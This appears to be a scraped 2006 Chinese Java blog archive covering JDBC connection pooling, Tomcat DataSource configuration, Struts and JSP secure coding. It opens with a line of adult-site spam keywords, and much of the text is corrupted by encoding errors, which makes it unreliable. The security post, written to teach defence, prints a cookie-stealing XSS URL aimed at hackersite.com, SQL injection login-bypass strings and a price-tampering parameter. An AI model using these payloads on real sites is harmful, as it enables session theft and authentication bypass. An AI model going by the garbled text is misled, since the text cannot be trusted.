亚洲成av人片在线观看www,麻豆网站在线免费观看,a亚洲天堂av

JDBC数据库连接池

frankboy — Mon, 28 Aug 2006 03:48:00 GMT

　　在Java语言中，JDBC�Q�Java DataBase Connection�Q�是应用�E�序与数据库沟通的桥梁,

　　即Java语言通过JDBC技术访问数据库。JDBC是一�U�“开�䏀�的�Ҏ(gu��)��Q�它为数据库应用开发�h员﹑数据库前台工具开发�h员提供了一�U�标准的应用�E�序设计接口�Q��开发�h员可以用�U�Java语言�~�写完整的数据库应用�E�序。JDBC提供两种API�Q�分别是面向开发�h员的API和面向底层的JDBC驱动�E�序API�Q�底层主要通过直接的JDBC驱动和JDBC-ODBC桥驱动实��C��数据库的�q�接�?/p>

　　一般来��_��Java应用�E�序讉K��数据库的�q�程�Q�如�?所�C�）是：

　　①装载数据库驱动�E�序�Q?/p>

　　②通过JDBC建立数据库连接；

　　③访问数据库�Q�执行SQL语句�Q?/p>

　　④断开数据库连接�?/p>

�? Java数据库访问机�?/div>

　　JDBC作�ؓ一�U�数据库讉K��技术，��h��单易用的优点。但使用�q�种模式�q�行W(xu��)eb应用

　　�E�序开发，存在很多问题�Q�首先，每一�ơWeb��h��都要建立一�ơ数据库�q�接。徏立连接是一个费时的�z�d��Q�每�ơ都得花�?.05s�?s的时��_��而且�pȝ��q�要分配内存资源。这个时间对于一�ơ或几次数据库操作，或许感觉不出�pȝ��有多大的开销。可是对于现在的Web应用�Q�尤其是大型�?sh��)子商务�|�站�Q�同时有几百人甚臛_��千�h在线是很正常的事。在�q�种情况下，频繁的进行数据库�q�接操作势必占用很多的系�l�资源，�|�站的响应速度必定下降�Q�严重的甚至会造成服务器的崩溃。不是危�a�耸听�Q�这��是制约某些�?sh��)子商务�|�站发展的技术瓶颈问题。其�ơ，对于每一�ơ数据库�q�接�Q��用完后都得断开。否则，如果�E�序出现异常而未能关闭，��会��D��数据库系�l�中的内存泄漏，最�l�将不得不重启数据库。还有，�q�种开发不能控制被创徏的连接对象数�Q�系�l�资源会被毫无顾及的分配出去�Q�如�q�接�q�多�Q�也可能��D��内存泄漏�Q�服务器崩溃�?/div>

　　数据库连接池�Q�connection pool�Q�的工作原理

　　1、基本概念及原理

　　�׃��面的分析可以看出�Q�问题的�Ҏ(gu��)��在于对数据库连接资源的低效��理。我们知道，

　　对于�׃�n资源�Q�有一个很著名的设计模式：资源池（Resource Pool�Q�。该模式正是��Z��解决资源的频�J�分配﹑释放所造成的问题。�ؓ解决上述问题�Q�可以采用数据库�q�接池技术。数据库�q�接池的基本思想��是为数据库�q�接建立一个“缓冲池”。预先在�~�冲池中攑օ�一定数量的�q�接�Q�当需要徏立数据库�q�接�Ӟ��只需从“缓冲池”中取出一个，使用完毕之后再放回去。我们可以通过讑֮��q�接池最大连接数来防止系�l�无��的与数据库�q�接。更为重要的是我们可以通过�q�接池的��理机制监视数据库的�q�接的数量﹑使用情况�Q��ؓ�pȝ��开发﹑��试及性能调整提供依据。连接池的基本工作原理见下图2�?/div>

�? �q�接池的基本工作原理

　　2、服务器自带的连接池

　　JDBC的API中没有提供连接池的方法。一些大型的WEB应用服务器如BEA的WebLogic和IBM的WebSphere�{�提供了�q�接池的机制�Q�但是必��L��其第三方的专用类�Ҏ(gu��)��支持�q�接池的用法�?/div>

　　�q�接池关键问题分�?/div>

　　1、�ƈ发问�?/div>

　　��Z��使连接管理服务具有最大的通用性，必须考虑多线�E�环境，卛_ƈ发问题。这个问题相�Ҏ(gu��)��较好解决�Q�因为Java语言自��n提供了对�q�发��理的支持，使用synchronized关键字即可确保线�E�是同步的。��用方法�ؓ直接在类�Ҏ(gu��)��前面加上synchronized关键字，如：

public synchronized Connection getConnection�Q�）

　　2、多数据库服务器和多用户

　　对于大型的企业��应用�Q�常帔R��要同时连接不同的数据库（如连接Oracle和Sybase�Q�。如何连接不同的数据库呢�Q�我们采用的�{�略是：设计一个符合单例模式的�q�接池管理类�Q�在�q�接池管理类的唯一实例被创建时��d��一个资源文�Ӟ��其中资源文�g中存攄��多个数据库的url地址�Q?lt;poolName.url>�Q�﹑用户名（�Q�﹑密码�Q?lt;poolName.password>�Q�等信息。如tx.url=172.21.15.123�Q?000/tx_it�Q�tx.user=yang�Q�tx.password=yang321。根据资源文件提供的信息�Q�创建多个连接池�cȝ��实例�Q�每一个实例都是一个特定数据库的连接池。连接池��理�c�d��例�ؓ每个�q�接池实例取一个名字，通过不同的名字来��理不同的连接池�?/div>

　　对于同一个数据库有多个用户��用不同的名称和密码访问的情况�Q�也可以通过资源文�g处理�Q�即在资源文件中讄��多个��h��相同url地址�Q�但��h��不同用户名和密码的数据库�q�接信息�?/div>

　　3、事务处�?/div>

　　我们知道�Q�事务具有原子性，此时要求�Ҏ(gu��)��据库的操作符合“ALL-ALL-NOTHING”原�?卛_��于一�l�SQL语句要么全做�Q�要么全不做�?/div>

　　在Java语言中，Connection�c�L��w�提供了对事务的支持�Q�可以通过讄��Connection的AutoCommit属性�ؓfalse,然后昑ּ�的调用commit或rollback�Ҏ(gu��)��来实现。但要高效的�q�行Connection复用�Q�就必须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现�Q�这�U�方法可以大大降低事务管理的复杂性�?/div>

　　4、连接池的分配与释放

　　�q�接池的分配与释放，对系�l�的性能有很大的影响。合理的分配与释放，可以提高�q�接的复用度�Q�从而降低徏立新�q�接的开销�Q�同时还可以加快用户的访问速度�?/div>

　　对于�q�接的管理可使用�I�闲池。即把已�l�创��Z��未分配出去的连接按创徏旉��存放��C��个空闲池中。每当用戯��求一个连接时�Q�系�l�首先检查空闲池内有没有�I�闲�q�接。如果有��把建立旉��最长（通过容器的顺序存攑֮�玎ͼ�的那个连接分配给他（实际是先做连接是否有效的判断�Q�如果可用就分配�l�用��P��如不可用��把�q�个�q�接从空闲池删掉�Q�重新检��空闲池是否�q�有�q�接�Q�；如果没有则检查当前所开�q�接池是否达到连接池所允许的最大连接数�Q�maxConn�Q?如果没有辑ֈ��Q�就新徏一个连接，如果已经辑ֈ��Q�就�{�待一定的旉��Q�timeout�Q�。如果在�{�待的时间内有连接被释放出来��可以把�q�个�q�接分配�l�等待的用户�Q�如果等待时间超�q�预定时间timeout,则返回空��|��null�Q�。系�l�对已经分配出去正在使用的连接只做计敎ͼ�当��用完后再�q�还�l�空闲池。对于空闲连接的状态，可开辟专门的�U�程定时��，�q�样会花费一定的�pȝ��开销�Q�但可以保证较快的响应速度。也可采取不开辟专门线�E�，只是在分配前��的�Ҏ(gu��)��?/div>

　　5、连接池的配�|�与�l�护

　　�q�接池中到底应该攄��多少�q�接�Q�才能�ɾpȝ��的性能最佻I��pȝ��可采取设�|�最��连接数�Q�minConn�Q�和最大连接数�Q�maxConn�Q�来控制�q�接池中的连接。最��连接数是系�l�启动时�q�接池所创徏的连接数。如果创��多，则系�l�启动就慢，但创建后�pȝ��的响应速度会很快；如果创徏�q�少�Q�则�pȝ��启动的很快，响应��h��却慢。这��P��可以在开发时�Q�设�|�较?y��u)��的最��连接数�Q�开发�v来会快，而在�pȝ��实际使用时设�|�较大的�Q�因��样对讉K��客户来说速度会快些。最大连接数是连接池中允许连接的最大数目，具体讄��多少�Q�要看系�l�的讉K��量，可通过反复��试�Q�找到最佳点�?/div>

　　如何��保�q�接池中的最��连接数呢？有动态和静态两�U�策略。动态即每隔一定时间就对连接池�q�行��，如果发现�q�接数量��于最��连接数�Q�则补充相应数量的新�q�接,以保证连接池的正常运转。静态是发现�I�闲�q�接不够时再��L��查�?/div>

　　�q�接池的实现

　　1、连接池模型

　　本文讨论的连接池包括一个连接池�c�（DBConnectionPool�Q�和一个连接池��理�c�（DBConnetionPoolManager�Q�。连接池�c�L��Ҏ(gu��)��一数据库所有连接的“缓冲池”，主要实现以下功能�Q�①从连接池获取或创建可用连接；②��用完毕之后，把连接返�q�给�q�接池；③在�pȝ��关闭前，断开所有连接�ƈ释放�q�接占用的系�l�资源；④还能够处理无效�q�接�Q�原来登��Cؓ可用的连接，�׃��某种原因不再可用�Q�如��时�Q�通讯问题�Q�，�q�能够限制连接池中的�q�接��L��不低于某个预定值和不超�q�某个预定倹{�?/div>

　　�q�接池管理类是连接池�cȝ��外覆�c�（wrapper�Q?�W�合单例模式�Q�即�pȝ��中只能有一个连接池��理�cȝ��实例。其主要用于对多个连接池对象的管理，��h��以下功能�Q�①装蝲�q�注册特定数据库的JDBC驱动�E�序�Q�②�Ҏ(gu��)��属性文件给定的信息�Q�创��接池对象�Q�③为方便管理多个连接池对象�Q��ؓ每一个连接池对象取一个名字，实现�q�接池名字与其实例之间的映射�Q�④跟踪客户使用�q�接情况�Q�以侉K��要是关闭�q�接释放资源。连接池��理�cȝ��引入主要是�ؓ了方便对多个�q�接池的使用和管理，如系�l�需要连接不同的数据库，或连接相同的数据库但�׃��安全性问题，需要不同的用户使用不同的名�U�和密码�?/div>

　　2、连接池实现

　　下面�l�出�q�接池类和连接池��理�cȝ��主要属�?br />及所要实现的基本接口�Q?

public class DBConnectionPool implements TimerListener{
private int checkedOut;//已被分配出去的连接数
private ArrayList freeConnections = new ArrayList();//容器�Q�空闲池�Q�根�?/创徏旉��序存放已创��Z��未分配出去的连�?br />private int minConn;//�q�接池里�q�接的最��数�?br />private int maxConn;//�q�接池里允许存在的最大连接数
private String name;//��个连接池取个名字�Q�方便管�?br />private String password;//�q�接数据库时需要的密码
private String url;//所要创��接的数据库的地址
private String user;//�q�接数据库时需要的用户�?br />public Timer timer;//定时�?br />public DBConnectionPool(String name, String URL, String user, String
password, int maxConn)//公开的构造函�?br />public synchronized void freeConnection(Connection con) //使用完毕之后�Q?/把连接返�q�给�I�闲�?br />public synchronized Connection getConnection(long timeout)//得到一个连接，//timeout是等待时�?br />public synchronized void release()//断开所有连接，释放占用的系�l�资�?br />private Connection newConnection()//新徏一个数据库�q�接
public synchronized void TimerEvent() //定时器事件处理函�?/div>

}

public class DBConnectionManager {
static private DBConnectionManager instance;//�q�接池管理类的唯一实例
static private int clients;//客户数量
private ArrayList drivers = new ArrayList();//容器�Q�存放数据库驱动�E�序

private HashMap pools = new HashMap ();//以name/value的�Ş式存取连接池//对象的名字及�q�接池对�?br />static synchronized public DBConnectionManager getInstance()//如果唯一�?/实例instance已经创徏�Q�直接返回这个实�?否则�Q�调用私有构造函敎ͼ��?/��接池��理�cȝ��唯一实例

private DBConnectionManager()//�U�有构造函�?在其中调用初始化函数init()

public void freeConnection(String name, Connection con)// 释放一个连接，//name是一个连接池对象的名�?/div>

public Connection getConnection(String name)//从名字�ؓname的连接池对象//中得��C��个连�?/div>

public Connection getConnection(String name, long time)//从名字�ؓname

//的连接池对象中取得一个连接，time是等待时�?/div>

public synchronized void release()//释放所有资�?/div>

private void createPools(Properties props)//�Ҏ(gu��)��属性文件提供的信息�Q�创�?/一个或多个�q�接�?/div>

private void init()//初始化连接池��理�cȝ��唯一实例�Q�由�U�有构造函数调�?/div>

private void loadDrivers(Properties props)//装蝲数据库驱动程�?/div>

}

　　3、连接池使用

　　上面所实现的连接池在程序开发时如何应用到系�l�中呢？下面以Servlet��Z��说明�q�接池的使用�?/div>

　　Servlet的生命周期是�Q�在开始徏立servlet�Ӟ��调用其初始化�Q�init�Q�方法。之后每个用戯��求都��D��一个调用前面徏立的实例的service�Ҏ(gu��)��的线�E�。最后，当服务器军_��卸蝲一个servlet�Ӟ��它首先调用该servlet�?destroy�Ҏ(gu��)��?/div>

　　�Ҏ(gu��)��servlet的特点，我们可以在初始化函数中生成连接池��理�cȝ��唯一实例�Q�其中包括创��Z��个或多个�q�接池）。如�Q?/div>

public void init() throws ServletException
{
　connMgr = DBConnectionManager.getInstance();
}

　　然后��可以在service�Ҏ(gu��)��中通过�q�接池名�U�C��用连接池�Q�执行数据库操作。最后在destroy�Ҏ(gu��)��中释攑֍�用的�pȝ��资源�Q�如�Q?

public void destroy() {
　connMgr.release(); super.destroy();
}

　　�l�束�?/div>

　　在��用JDBC�q�行与数据库有关的应用开发中�Q�数据库�q�接的管理是一个难炏V��很多时候，�q�接的�؜��q��理所造成的系�l�资源开销�q�大成�ؓ制约大型企业�U�应用效率的瓉��。对于众多用戯��问的Web应用�Q�采用数据库�q�接技术的�pȝ��在效率和�E�_��性上比采用传�l�的其他方式的系�l�要好很多。本文阐�q�C��使用JDBC讉K��数据库的技术﹑讨论了基于连接池技术的数据库连接管理的关键问题�q�给��Z��一个实现模型。文章所�l�出的是�q�接池管理程序的一�U�基本模式，为提高系�l�的整体性能�Q�在此基��上还可以�q�行很多有意义的扩展�?/div>/DIV>

frankboy 2006-08-28 11:48 发表评论

frankboy — Sun, 20 Aug 2006 04:34:00 GMT

Java中四�U�XML解析技术之不完全测�?/strong>

作者：未知来源�Q�未�?加入旉��Q?004-11-1　天新软�g�?/div>

frankboy 2006-08-20 12:34 发表评论

TOMCAT中数据库�q�接池的配置

frankboy — Thu, 12 Jan 2006 06:20:00 GMT

1�Q�将数据库驱动程序的JAR文�g攑֜�Tomcat�?nbsp;common/lib 中；
2�Q�在server.xml中设�|�数据源�Q�以MySQL数据库�ؓ例，如下�Q?BR>�?lt;GlobalNamingResources> 节点中加入，
            name="jdbc/DBPool"
      type="javax.sql.DataSource"
      password="root"
      driverClassName="com.mysql.jdbc.Driver"
      maxIdle="2"
      maxWait="5000"
      username="root"
      url="jdbc:mysql://127.0.0.1:3306/test"
      maxActive="4"/>
   属性说明：name�Q�数据源名称�Q�通常取”jdbc/XXX”的格式�Q?BR>            type�Q�”javax.sql.DataSource�?
            password�Q�数据库用户密码�Q?BR>            driveClassName�Q�数据库驱动�Q?BR>            maxIdle�Q�最大空闲数�Q�数据库�q�接的最大空闲时间。超�q�空闲时��_��数据库连
                     接将被标��Cؓ不可用，然后被释放。设�?表示无限制�?BR>            MaxActive�Q�连接池的最大数据库�q�接数。设�?表示无限制�?BR>            maxWait �Q�最大徏立连接等待时间。如果超�q�此旉��接到异常。设�?1表示
                     无限制�?BR>3�Q�在你的web应用�E�序的web.xml中设�|�数据源参考，如下�Q?BR>  �?lt;web-app>节点中加入，

MySQL DB Connection Pool

jdbc/DBPool

javax.sql.DataSource

Container

Shareable

  子节点说明： description�Q�描�q�C��息；
               res-ref-name�Q�参考数据源名字�Q�同上一步的属性name�Q?BR>               res-type�Q�资源类型，”javax.sql.DataSource”；
               res-auth�Q�”Container”；
               res-sharing-scope�Q�”Shareable”；
4�Q�在web应用�E�序的context.xml中设�|�数据源链接�Q�如下：
  �?lt;Context>节点中加入，
     name="jdbc/DBPool"
   type="javax.sql.DataSource"
   global="jdbc/DBPool"/>
   属性说明：name�Q�同�W?步和�W?步的属性name��|��和子节点res-ref-name��|��
             type�Q�同样取”javax.sql.DataSource”；
             global�Q�同name倹{�?BR>
��x��Q�设�|�完成，下面是如何��用数据库�q�接池�?BR>1�Q�徏立一个连接池�c�，DBPool.java�Q�用来创��接池�Q�代码如下：
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;

public class DBPool {
    private static DataSource pool;
    static {
         Context env = null;
          try {
              env = (Context) new InitialContext().lookup("java:comp/env");
              pool = (DataSource)env.lookup("jdbc/DBPool");
              if(pool==null)
                  System.err.println("'DBPool' is an unknown DataSource");
               } catch(NamingException ne) {
                  ne.printStackTrace();
          }
      }
    public static DataSource getPool() {
        return pool;
    }
}

2�Q�在要用到数据库操作的类或jsp��面中，用DBPool.getPool().getConnection()�Q�获得一个Connection对象�Q�就可以�q�行数据库操作，最后别忘了对Connection对象调用close()�Ҏ(gu��)��Q�注意：�q�里不会关闭�q�个Connection�Q�而是��这个Connection攑֛�数据库连接池�?BR>

frankboy 2006-01-12 14:20 发表评论

Struts初步知识

frankboy — Tue, 10 Jan 2006 06:59:00 GMT

1.如何安装Struts�Q?
首先�?A >http://jakarta.apache.org/Struts下蝲Struts�Q�徏议��用release版，现在最高版本�ؓ1.2.6�Q�有多种OS版本(windows,linus...),下蝲后解压开来，可以看到�q�个目录�Q�lib和webapps�Q�webapps下有一些WAR文�g。假设你的Tomcat装在c:Tomcat下，则将那些WAR文�g拯��到C:Tomcatwebapps�Q�重新启动Tomcat卛_��。打开��览器，在地址栏中输入�Q?A href="http://localhost:8080/Struts-example/index.jsp">http://localhost:8080/Struts-example/index.jsp�Q�若能见到“powered by Struts”的��p��色图标，卌��明成功了。这是Struts自带的一个例子，附有详细的说明文档，可以做�ؓ初学者的入门教程。另外，Struts�q�提供了一�pȝ��实用对象�Q�XML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提�C�和消息�{?

2.�l�习做一个实例：
一个用��h��册系�l�，用户通过�|�页输入相关信息�Q�注册ID��P��密码�Q�EMAIL�Q�若注册成功�Q�则�q�回成功提示信息�Q�反之出现注册失败提�C�Z��息�?
以下是相��x��件的部分核心代码�?

��目建立�Q?
正式开发前�Q�需要在Tocmat�Q�我的tomcat装在c: omcat�Q�中建立此项目。比较快的一�U�徏立方式�ؓ�Q�在C: omcatwebapps下新建目录test�Q�再��C: omcatwebappsstruts-example下的
WEB-INF目录拯��到test目录下，然后��testWEB-INF下的src和classes目录清空�Q�以及struts-config.xml文�g中内�Ҏ(gu��)��I�即可。这��P��我们需要的Struts�c�d��及相关的配置文�g��都齐了�?
开发时�Q�将JSP文�g攑֜�test目录下，Java原文件放在testWEB-INFsrc下，�~�译后的�c�L��件放在testWEB-INFclasses下�?

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib uri="/WEB-INF/Struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/Struts-html.tld" prefix="html" %>

RegUser

Logname:
Password:
E-mail:

此JSP��面不同于普通的JSP��，因�ؓ它大量运用了taglib�Q�这些taglib对初学者而言�Q�可能难于掌握，可这却是Struts的精华之一。灵�z�运用，��大大提高开发效率�?

Struts-config.xml�Q?

type="org.cjea.Struts.example. RegUserForm "/>

type=" org.cjea.Struts.example.RegUserAction "
attribute=" regUserForm "
scope="request"
validate="false">

Struts的核心是Controller�Q�即ActionServlet�Q�而ActionServlet的核心就是Struts-config.xml�Q�Struts-config.xml集中了所有页面的��D��定义。对于大型的WEB��目�Q�通过此配�|�文件即可迅速把握其脉络�Q�这不管是对于前期的开发，�q�是后期的维护或升��都是大有裨益的。掌握Struts-config.xml是掌握Struts的关键所在�?

FormBean�Q�RegUserForm

package org.cjea.Struts.example;

import javax.Servlet.http.HttpServletRequest;
import org.apache.Struts.action.ActionForm;
import org.apache.Struts.action.ActionMapping;

public final class RegUserForm extends ActionForm{

private String logname;
private String password;
private String email;

public RegUserForm(){
logname = null;
password = null;
email = null;
}

public String getLogName() {
return this.logname;
}
public void setLogName(String logname) {
this.logname = logname;
}
public void setPassWord(String password) {
this.password = password;
}
public String getPassWord() {
return this.password;
}
public void setEmail(String email) {
this.email = email;
}
public String getEmail() {
return this.email;
}

public void reset(ActionMapping mapping, HttpServletRequest request)
{
logname = null;
password = null;
email = null;
}
}

每一个FormBean 都必��ȝ��承ActionForm�c�，FormBean是对��面��h��的封装。即把HTTP request ��装在一个对象中�Q�需要说明的一点就是多个HTTP request可以��q��一个FormBean�Q�便于维护和重用�?

ActionBean�Q�RegUserAction

package org.cjea.Struts.example;

import javax.Servlet.http.*;
import org.apache.Struts.action.*;

public final class RegUserAction extends Action
{

public ActionForward perform(ActionMapping mapping,
ActionForm form, HttpServletRequest req,
HttpServletResponse res)
{
String title = req.getParameter("title");
String password = req.getParameter("password");
String email = req.getParameter("email");
/*
取得用户��h��,做相应数据库操作�Q�略
*/
}
}

FormBean的��生是��Z��提供数据�l�ActionBean�Q�在ActionBean中可以取得FormBean中封装的数据�Q�经相应的逻辑处理后，调用业务�Ҏ(gu��)��完成相应业务要求�?

Servlet的演变：在常规的 JSP�Q�Servlet�Q�JavaBean三层�l�构中，JSP实现View的功能，Servlet实现Controller的功能，JavaBean实现Model的实现�?

在Struts中，��常规情况下的Servlet拆分与ActionServlet、FormBean、ActionBean三个部分。ActionServlet配合Struts-config.xml�Q�专职完成页面导航，而不再负责具体的数据获取与相应逻辑�Q�这两部分功能由FormBean和ActionBean来完成�?

3.Struts优缺�?
优点�Q?
Struts跟Tomcat、Turbine�{�诸多Apache��目一��P��是开源��Y�Ӟ��q�是它的一大优炏V��开发者能更深入的了解其内部实现机制�?
除此之外�Q�Struts的优点主要集中体现在两个斚w��Q�Taglib和页面导航。Taglib是Struts的标记库�Q�灵�z�d��用，能大大提高开发效率。另外，��q��前国内的JSP开发者而言�Q�除了��用JSP自带的常用标记外�Q�很��开发自��q��标记�Q�或许Struts是一个很好的��L��?
关于��面��D��Q�我认�ؓ那将是今后的一个发展方向，事实上，�q�样做，使系�l�的脉络更加清晰。通过一个配�|�文�Ӟ��卛_��把握整个�pȝ��各部分之间的联系�Q�这对于后期的维护有着莫大的好处。尤其是当另一批开发者接手这个项目时�Q�这�U�优势体现得更加明显�?
�~�点�Q?
Taglib是Struts的一大优势，但对于初学者而言�Q�却需要一个持�l�学习的�q�程�Q�甚臌��会打�׃��|�页�~�写的习惯，但是�Q�当你习惯了它时�Q�你会觉得它真的很棒�?
Struts��MVC的Controller一分�ؓ三，在获得结构更加清晰的同时�Q�也增加了系�l�的复杂度�?
Struts从��生到现在�q�不到半�q�_��但已逐步��来��多�q�用于商业��Y件。虽然它现在�q�有不少�~�点�Q�但它是一�U�非�怼��U�的J2EE MVC实现方式�Q�如果你的系�l�准备采用J2EE MVC架构�Q�那么，不妨考虑一下Struts�?

4.Struts实施�l�验�Q?
1)、基于Struts架构的项目开发，首先需要有一个很好的整体规划�Q�整个系�l�中包括哪几个模块，每个模块各需要多��FormBean和ActionBean�{�，而且最好有专�h负责Struts-config.xml的管理。开发基于Struts的项目的隄��在于配置��理�Q�尤其是对Struts-config.xml的管�?

2)、如果你的项目非常紧�Q��ƈ且项目组中又没有富有�l�验的Struts开发�h员，��不要冒然采用Struts。Struts的掌握需要一个过�E�，对于一个熟�l�的JSP�E�序员，自学大概需要半个月左右的时间。如果结合titls�Q�则需要更长的旉��

3)、如果你在网��中大量�q�用taglib�Q�那么你的美工将做出部分牺牲。当你结合Tiles�Q�功能增强的同时�Q�这�U�牺牲尤为明显。当�Ӟ��你对功能和美观的取舍�׃��自己军_��

4)、Taglib是一个好东西�Q�但灉|��q�用它却需要一个过�E�，如果你不惛_��Taglib上花太多的时��_��那么只需理解与FORM有关的几个标讎ͼ�其它的标记就攄��吧，以后再看�Q�先�ȝ��I�ActionServlet和Struts-config.xml�Q�你会觉得很有成��感

5)、Struts是否只适合于大型项目呢�Q�No�Q�Struts适合于各�U�大��的��目�Q�当�Ӟ��对于大型��目�Q�它所体现出来的优势更加明显�?/P>

frankboy 2006-01-10 14:59 发表评论

��谈jsp安全�~�程(�?

frankboy — Mon, 09 Jan 2006 03:35:00 GMT

Java Server Page�Q�JSP�Q�作为徏立动态网��늚�技术正在不断升温。JSP和ASP、PHP、工作机制不太一栗��一般说来，JSP��面在执行时是编译式�Q�而不是解释式的。首�ơ调用JSP文�g其实是执行一个编译�ؓServlet的过�E�。当��览器向服务器请求这一个JSP文�g的时候，服务器将��查自上次�~�译后JSP文�g是否有改变，如果没有改变�Q�就直接执行Servlet�Q�而不用再重新�~�译�Q�这��P��效率便得��C��明显提高�?
   今天我将和大家一起从脚本�~�程的角度看JSP的安全，那些诸如源码暴露�cȝ��安全隐�?zh��n)��׃��在这��文章讨��围之内了。写�q�篇文章的主要目的是�l�初学JSP�~�程的朋友们提个醒，从一开始就要培��d��全编�E�的意识�Q�不要犯不该犯的错误�Q�避免可以避免的损失。另外，我也是初学者，如有错误或其它意见请发帖赐教�?

一、认证不严——低�U�失�?
   在溢�z�论坛v1.12 修正版中�Q?
user_manager.jsp是用��L��理的��面�Q�作者知道它的敏感性，加上了一把锁�Q?
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("�pȝ��理�?)))
{
response.sendRedirect("err.jsp?id=14");
return;
}
   如果要查看、修�Ҏ(gu��)��用户的信息，��p��用modifyuser_manager.jsp�q�个文�g。管理员提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
��是查看、修改ID�?1的用��L��资料�Q�管理员默认的用户ID�?1�Q�。但是，如此重要的文件竟�~�Z��认证�Q�普通用��P��包括游客�Q�也直接提交上述��h��也可以对其一览无余（密码也是明文存储、显�C�的�Q�。modifyuser_manage.jsp同样是门户大开�Q�直到恶意用��h��数据更新的操作执行完毕，重定向到user_manager.jsp的时候，他才会看见那个姗姗来�q�的昄��错误的页面。显�Ӟ��只锁一扇门是远�q�不够的�Q�编�E�的时候一定要不厌其烦��Cؓ每一个该加��n份认证的地方加上�w�䆾认证�?

二、守好JavaBean的入�?
   JSP�l��g技术的核心是被�U�Cؓbean的java�l��g。在�E�序中可把逻辑控制、数据库操作攑֜�javabeans�l��g中，然后在JSP文�g中调用它�Q�这样可增加�E�序的清晰度及程序的可重用性。和传统的ASP或PHP��面相比�Q�JSP��面是非常简�z�的�Q�因��多动态页面处理过�E�可以封装到JavaBean中�?
   要改变JavaBean属性，要用到�?lt;jsp:setProperty>”标记�?
下面的代码是假想的某�?sh��)子购物�pȝ��的源码的一部分�Q�这个文件是用来昄��用户的购物框中的信息的，而checkout.jsp是用来结帐的�?

Your Basket

You have added the item

to your basket.

Your total is $

Proceed to checkout
   注意到property="*"了吗�Q�这表明用户在可见的JSP��面中输入的�Q�或是直接通过Query String提交的全部变量的��|��存储到匚w��的bean属性中�?
一般，用户是这��h��交请求的�Q?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守规矩的用户呢�Q�他们可能会提交�Q?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
�q�样�Q�balance=0的信息就被在存储��C��JavaBean中了。当他们�q�时点击“chekout”结账的时候，费用��全免了�?
   �q�与PHP中全局变量��D��的安全问题如��Z��辙。由此可见：“property="*"”一定要慎用�Q?

三、长盛不衰的跨站脚本
   跨站脚本�Q�Cross Site Scripting�Q�攻��L��指在�q�程WEB��面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash�{�脚本，�H�取��览此页面的用户的隐�U�，改变用户的设�|�，破坏用户的数据。跨站脚本攻��d��多数情况下不会对服务器和W(xu��)EB�E�序的运行造成影响�Q�但对客��L��的安全构成严重的威胁�?
   以仿动网的阿菜论坛（beta-1�Q��D个最��单的例子。当我们提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)
便能弹出包含自己cookie信息的对话框。而提�?
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'
��p��重定向到�|�易�?
   �׃��在返回“name”变量的值给客户端时�Q�脚本没有进行�Q何编码或�q��o恶意代码�Q�当用户讉K��嵌入恶意“name”变量数据链接时�Q�会��D��脚本代码在用��h��览器上执行，可能��D��用户隐私泄露�{�后果。比如下面的链接�Q?
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie
xxx.xxx用于攉��后边跟的参数�Q�而这里参数指定的是document.cookie�Q�也��是讉K��此链接的用户的cookie。在ASP世界中，很多人已�l�把偷cookie的技术练得炉火纯青了。在JSP里，��d��cookie也不是难事。当�Ӟ��跨站脚本从来��׃��会局限于偷cookie�q�一��功能，�怿�大家都有一定了解，�q�里��׃��展开了�?
   �Ҏ(gu��)��有动态页面的输入和输出都应进行编码，可以在很大程度上避免跨站脚本的攻凅R��遗憄��是，�Ҏ(gu��)��有不可信数据�~�码是资源密集型的工作，会对 Web 服务器��生性能斚w��的媄响。常用的手段�q�是�q�行输入数据的过滤，比如下面的代码就把危险的字符�q�行替换�Q?
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace ('\'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
   更积极的方式是利用正则表辑ּ�只允许输入指定的字符�Q?
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}

四、时�ȝ��记SQL注入
   一般的�~�程书籍在教初学者的时候都不注意让他们从入门时��培��d��全编�E�的习惯。著名的《JSP�~�程思想与实��c��就是这样向初学者示范编写带数据库的��d��pȝ��的（数据库�ؓMySQL�Q�：
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
   response.sendRedirect("SuccessLogin.jsp");
else
   response.sendRedirect("FailureLogin.jsp");
   �q�样使得��信书的人长期��用这样先天“带�z�”的��d��代码。如果数据库里存在一个名叫“jack”的用户�Q�那么在不知道密码的情况下至��有下面几种�Ҏ(gu��)��可以��d��Q?
用户名：jack
密码�Q? or 'a'='a
用户名：jack
密码�Q? or 1=1/*
用户名：jack' or 1=1/*
密码�Q�（��L��Q?
lybbs�Q�凌云论坛）ver 2.9.Server在LogInOut.java中是�q�样对登录提交的数据�q�行��查的�Q?
if(s.equals("") ││ s1.equals(""))
   throw new UserException("用户名或密码不能�I��?);
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
   throw new UserException("用户名不能包�?' \" \\ , �{�非法字�W��?);
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
     throw new UserException("密码不能包括 ' \" \\ * �{�非法字�W��?);
if(s.startsWith("　") ││ s1.startsWith("　"))
      throw new UserException("用户名或密码中不能用�I�格�?);
